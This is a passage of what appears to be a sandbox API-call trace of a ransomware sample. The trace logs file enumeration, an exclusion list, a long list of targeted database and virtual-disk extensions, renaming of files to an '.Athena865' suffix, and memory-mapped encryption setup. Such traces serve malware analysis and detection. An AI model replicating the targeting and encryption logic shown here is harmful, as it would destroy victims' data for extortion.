lpString2="accdr") returned 1 [0096.760] lstrlenW (lpString="accdt") returned 5 [0096.760] lstrcmpiW (lpString1="y.txt", lpString2="accdt") returned 1 [0096.760] lstrlenW (lpString="accdw") returned 5 [0096.760] lstrcmpiW (lpString1="y.txt", lpString2="accdw") returned 1 [0096.760] lstrlenW (lpString="accft") returned 5 [0096.760] lstrcmpiW (lpString1="y.txt", lpString2="accft") returned 1 [0096.760] lstrlenW (lpString="adb") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.760] lstrlenW (lpString="adb") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.760] lstrlenW (lpString="ade") returned 3 [0096.760] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0096.760] lstrlenW (lpString="adf") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0096.761] lstrlenW (lpString="adn") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0096.761] lstrlenW (lpString="adp") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0096.761] lstrlenW (lpString="alf") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0096.761] lstrlenW (lpString="ask") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0096.761] lstrlenW (lpString="btr") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0096.761] lstrlenW (lpString="cat") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0096.761] lstrlenW (lpString="cdb") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0096.761] lstrlenW (lpString="ckp") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0096.761] lstrlenW (lpString="cma") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0096.761] lstrlenW (lpString="cpd") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0096.761] lstrlenW (lpString="dacpac") returned 6 [0096.761] lstrcmpiW (lpString1="ay.txt", lpString2="dacpac") returned -1 [0096.761] lstrlenW (lpString="dad") returned 3 [0096.761] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0096.761] lstrlenW (lpString="dadiagrams") returned 10 [0096.761] lstrcmpiW (lpString1="eArray.txt", lpString2="dadiagrams") returned 1 [0096.761] lstrlenW (lpString="daschema") returned 8 [0096.761] lstrcmpiW (lpString1="rray.txt", lpString2="daschema") returned 1 [0096.761] lstrlenW (lpString="db-journal") returned 10 [0096.761] lstrcmpiW (lpString1="eArray.txt", lpString2="db-journal") returned 1 [0096.761] lstrlenW (lpString="db-shm") returned 6 [0096.762] lstrcmpiW (lpString1="ay.txt", lpString2="db-shm") returned -1 [0096.762] lstrlenW (lpString="db-wal") returned 6 [0096.762] lstrcmpiW (lpString1="ay.txt", lpString2="db-wal") returned -1 [0096.762] lstrlenW (lpString="dbc") returned 3 [0096.762] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0096.762] lstrlenW (lpString="dbs") returned 3 [0096.762] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0096.762] lstrlenW (lpString="dbt") returned 3 [0096.762] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0096.762] lstrlenW (lpString="dbv") returned 3 [0096.762] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0096.762] lstrlenW (lpString="dbx") returned 3 [0096.762] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0096.762] lstrlenW (lpString="dcb") returned 3 [0096.762] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0096.762] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt.Athena865") returned 86 [0096.762] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt.athena865"), dwFlags=0x1) returned 1 [0096.763] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.763] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1272822) returned 1 [0096.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.764] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.764] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.764] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.764] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x136f00, lpName=0x0) returned 0x17c [0096.766] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x136f00) returned 0x2d50000 [0096.827] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.827] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.827] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.828] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0096.860] CloseHandle (hObject=0x17c) returned 1 [0096.860] CloseHandle (hObject=0x154) returned 1 [0096.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.865] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3f2fc, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x77e3f2fc, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x77ed787c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="windows") returned -1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="bootmgr") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="temp") returned -1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="pagefile.sys") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="boot") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="ids.txt") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="ntuser.dat") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="perflogs") returned 1 [0096.865] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="MSBuild") returned 1 [0096.865] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0096.865] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextServiceDaYi.txt" | out: lpString1="TableTextServiceDaYi.txt") returned="TableTextServiceDaYi.txt" [0096.865] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0096.865] lstrlenW (lpString="Athena865") returned 9 [0096.865] lstrcmpiW (lpString1="eDaYi.txt", lpString2="Athena865") returned 1 [0096.865] lstrlenW (lpString=".dll") returned 4 [0096.866] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".dll") returned 1 [0096.866] lstrlenW (lpString=".lnk") returned 4 [0096.866] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".lnk") returned 1 [0096.866] lstrlenW (lpString=".ini") returned 4 [0096.866] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".ini") returned 1 [0096.866] lstrlenW (lpString=".sys") returned 4 [0096.866] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".sys") returned 1 [0096.866] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0096.866] lstrlenW (lpString="bak") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0096.866] lstrlenW (lpString="ba_") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0096.866] lstrlenW (lpString="dbb") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0096.866] lstrlenW (lpString="vmdk") returned 4 [0096.866] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0096.866] lstrlenW (lpString="rar") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0096.866] lstrlenW (lpString="zip") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0096.866] lstrlenW (lpString="tgz") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0096.866] lstrlenW (lpString="vbox") returned 4 [0096.866] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0096.866] lstrlenW (lpString="vdi") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0096.866] lstrlenW (lpString="vhd") returned 3 [0096.866] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0096.866] lstrlenW (lpString="vhdx") returned 4 [0096.866] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0096.866] lstrlenW (lpString="avhd") returned 4 [0096.866] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0096.867] lstrlenW (lpString="db") returned 2 [0096.867] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0096.867] lstrlenW (lpString="db2") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0096.867] lstrlenW (lpString="db3") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0096.867] lstrlenW (lpString="dbf") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0096.867] lstrlenW (lpString="mdf") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0096.867] lstrlenW (lpString="mdb") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0096.867] lstrlenW (lpString="sql") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0096.867] lstrlenW (lpString="sqlite") returned 6 [0096.867] lstrcmpiW (lpString1="Yi.txt", lpString2="sqlite") returned 1 [0096.867] lstrlenW (lpString="sqlite3") returned 7 [0096.867] lstrcmpiW (lpString1="aYi.txt", lpString2="sqlite3") returned -1 [0096.867] lstrlenW (lpString="sqlitedb") returned 8 [0096.867] lstrcmpiW (lpString1="DaYi.txt", lpString2="sqlitedb") returned -1 [0096.867] lstrlenW (lpString="xml") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0096.867] lstrlenW (lpString="$er") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0096.867] lstrlenW (lpString="4dd") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0096.867] lstrlenW (lpString="4dl") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0096.867] lstrlenW (lpString="^^^") returned 3 [0096.867] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0096.867] lstrlenW (lpString="abs") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0096.868] lstrlenW (lpString="abx") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0096.868] lstrlenW (lpString="accdb") returned 5 [0096.868] lstrcmpiW (lpString1="i.txt", lpString2="accdb") returned 1 [0096.868] lstrlenW (lpString="accdc") returned 5 [0096.868] lstrcmpiW (lpString1="i.txt", lpString2="accdc") returned 1 [0096.868] lstrlenW (lpString="accde") returned 5 [0096.868] lstrcmpiW (lpString1="i.txt", lpString2="accde") returned 1 [0096.868] lstrlenW (lpString="accdr") returned 5 [0096.868] lstrcmpiW (lpString1="i.txt", lpString2="accdr") returned 1 [0096.868] lstrlenW (lpString="accdt") returned 5 [0096.868] lstrcmpiW (lpString1="i.txt", lpString2="accdt") returned 1 [0096.868] lstrlenW (lpString="accdw") returned 5 [0096.868] lstrcmpiW (lpString1="i.txt", lpString2="accdw") returned 1 [0096.868] lstrlenW (lpString="accft") returned 5 [0096.868] lstrcmpiW (lpString1="i.txt", lpString2="accft") returned 1 [0096.868] lstrlenW (lpString="adb") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.868] lstrlenW (lpString="adb") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.868] lstrlenW (lpString="ade") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0096.868] lstrlenW (lpString="adf") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0096.868] lstrlenW (lpString="adn") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0096.868] lstrlenW (lpString="adp") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0096.868] lstrlenW (lpString="alf") returned 3 [0096.868] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0096.869] lstrlenW (lpString="ask") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0096.869] lstrlenW (lpString="btr") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0096.869] lstrlenW (lpString="cat") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0096.869] lstrlenW (lpString="cdb") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0096.869] lstrlenW (lpString="ckp") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0096.869] lstrlenW (lpString="cma") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0096.869] lstrlenW (lpString="cpd") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0096.869] lstrlenW (lpString="dacpac") returned 6 [0096.869] lstrcmpiW (lpString1="Yi.txt", lpString2="dacpac") returned 1 [0096.869] lstrlenW (lpString="dad") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0096.869] lstrlenW (lpString="dadiagrams") returned 10 [0096.869] lstrcmpiW (lpString1="ceDaYi.txt", lpString2="dadiagrams") returned -1 [0096.869] lstrlenW (lpString="daschema") returned 8 [0096.869] lstrcmpiW (lpString1="DaYi.txt", lpString2="daschema") returned 1 [0096.869] lstrlenW (lpString="db-journal") returned 10 [0096.869] lstrcmpiW (lpString1="ceDaYi.txt", lpString2="db-journal") returned -1 [0096.869] lstrlenW (lpString="db-shm") returned 6 [0096.869] lstrcmpiW (lpString1="Yi.txt", lpString2="db-shm") returned 1 [0096.869] lstrlenW (lpString="db-wal") returned 6 [0096.869] lstrcmpiW (lpString1="Yi.txt", lpString2="db-wal") returned 1 [0096.869] lstrlenW (lpString="dbc") returned 3 [0096.869] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0096.869] lstrlenW (lpString="dbs") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0096.870] lstrlenW (lpString="dbt") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0096.870] lstrlenW (lpString="dbv") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0096.870] lstrlenW (lpString="dbx") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0096.870] lstrlenW (lpString="dcb") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0096.870] lstrlenW (lpString="dct") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0096.870] lstrlenW (lpString="dcx") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0096.870] lstrlenW (lpString="ddl") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0096.870] lstrlenW (lpString="dlis") returned 4 [0096.870] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0096.870] lstrlenW (lpString="dp1") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0096.870] lstrlenW (lpString="dqy") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0096.870] lstrlenW (lpString="dsk") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0096.870] lstrlenW (lpString="dsn") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0096.870] lstrlenW (lpString="dtsx") returned 4 [0096.870] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0096.870] lstrlenW (lpString="dxl") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0096.870] lstrlenW (lpString="eco") returned 3 [0096.870] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0096.871] lstrlenW (lpString="ecx") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0096.871] lstrlenW (lpString="edb") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0096.871] lstrlenW (lpString="epim") returned 4 [0096.871] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0096.871] lstrlenW (lpString="fcd") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0096.871] lstrlenW (lpString="fdb") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0096.871] lstrlenW (lpString="fic") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0096.871] lstrlenW (lpString="flexolibrary") returned 12 [0096.871] lstrcmpiW (lpString1="viceDaYi.txt", lpString2="flexolibrary") returned 1 [0096.871] lstrlenW (lpString="fm5") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0096.871] lstrlenW (lpString="fmp") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0096.871] lstrlenW (lpString="fmp12") returned 5 [0096.871] lstrcmpiW (lpString1="i.txt", lpString2="fmp12") returned 1 [0096.871] lstrlenW (lpString="fmpsl") returned 5 [0096.871] lstrcmpiW (lpString1="i.txt", lpString2="fmpsl") returned 1 [0096.871] lstrlenW (lpString="fol") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0096.871] lstrlenW (lpString="fp3") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0096.871] lstrlenW (lpString="fp4") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0096.871] lstrlenW (lpString="fp5") returned 3 [0096.871] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0096.871] lstrlenW (lpString="fp7") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0096.872] lstrlenW (lpString="fpt") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0096.872] lstrlenW (lpString="frm") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0096.872] lstrlenW (lpString="gdb") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0096.872] lstrlenW (lpString="gdb") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0096.872] lstrlenW (lpString="grdb") returned 4 [0096.872] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0096.872] lstrlenW (lpString="gwi") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0096.872] lstrlenW (lpString="hdb") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0096.872] lstrlenW (lpString="his") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0096.872] lstrlenW (lpString="ib") returned 2 [0096.872] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0096.872] lstrlenW (lpString="idb") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0096.872] lstrlenW (lpString="ihx") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0096.872] lstrlenW (lpString="itdb") returned 4 [0096.872] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0096.872] lstrlenW (lpString="itw") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0096.872] lstrlenW (lpString="jet") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0096.872] lstrlenW (lpString="jtx") returned 3 [0096.872] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0096.873] lstrlenW (lpString="kdb") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0096.873] lstrlenW (lpString="kexi") returned 4 [0096.873] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0096.873] lstrlenW (lpString="kexic") returned 5 [0096.873] lstrcmpiW (lpString1="i.txt", lpString2="kexic") returned -1 [0096.873] lstrlenW (lpString="kexis") returned 5 [0096.873] lstrcmpiW (lpString1="i.txt", lpString2="kexis") returned -1 [0096.873] lstrlenW (lpString="lgc") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0096.873] lstrlenW (lpString="lwx") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0096.873] lstrlenW (lpString="maf") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0096.873] lstrlenW (lpString="maq") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0096.873] lstrlenW (lpString="mar") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0096.873] lstrlenW (lpString="marshal") returned 7 [0096.873] lstrcmpiW (lpString1="aYi.txt", lpString2="marshal") returned -1 [0096.873] lstrlenW (lpString="mas") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0096.873] lstrlenW (lpString="mav") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0096.873] lstrlenW (lpString="maw") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0096.873] lstrlenW (lpString="mdbhtml") returned 7 [0096.873] lstrcmpiW (lpString1="aYi.txt", lpString2="mdbhtml") returned -1 [0096.873] lstrlenW (lpString="mdn") returned 3 [0096.873] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0096.873] lstrlenW (lpString="mdt") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0096.874] lstrlenW (lpString="mfd") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0096.874] lstrlenW (lpString="mpd") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0096.874] lstrlenW (lpString="mrg") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0096.874] lstrlenW (lpString="mud") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0096.874] lstrlenW (lpString="mwb") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0096.874] lstrlenW (lpString="myd") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0096.874] lstrlenW (lpString="ndf") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0096.874] lstrlenW (lpString="nnt") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0096.874] lstrlenW (lpString="nrmlib") returned 6 [0096.874] lstrcmpiW (lpString1="Yi.txt", lpString2="nrmlib") returned 1 [0096.874] lstrlenW (lpString="ns2") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0096.874] lstrlenW (lpString="ns3") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0096.874] lstrlenW (lpString="ns4") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0096.874] lstrlenW (lpString="nsf") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0096.874] lstrlenW (lpString="nv") returned 2 [0096.874] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0096.874] lstrlenW (lpString="nv2") returned 3 [0096.874] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0096.875] lstrlenW (lpString="nwdb") returned 4 [0096.875] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0096.875] lstrlenW (lpString="nyf") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0096.875] lstrlenW (lpString="odb") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0096.875] lstrlenW (lpString="odb") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0096.875] lstrlenW (lpString="oqy") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0096.875] lstrlenW (lpString="ora") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0096.875] lstrlenW (lpString="orx") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0096.875] lstrlenW (lpString="owc") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0096.875] lstrlenW (lpString="p96") returned 3 [0096.875] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0096.875] lstrlenW 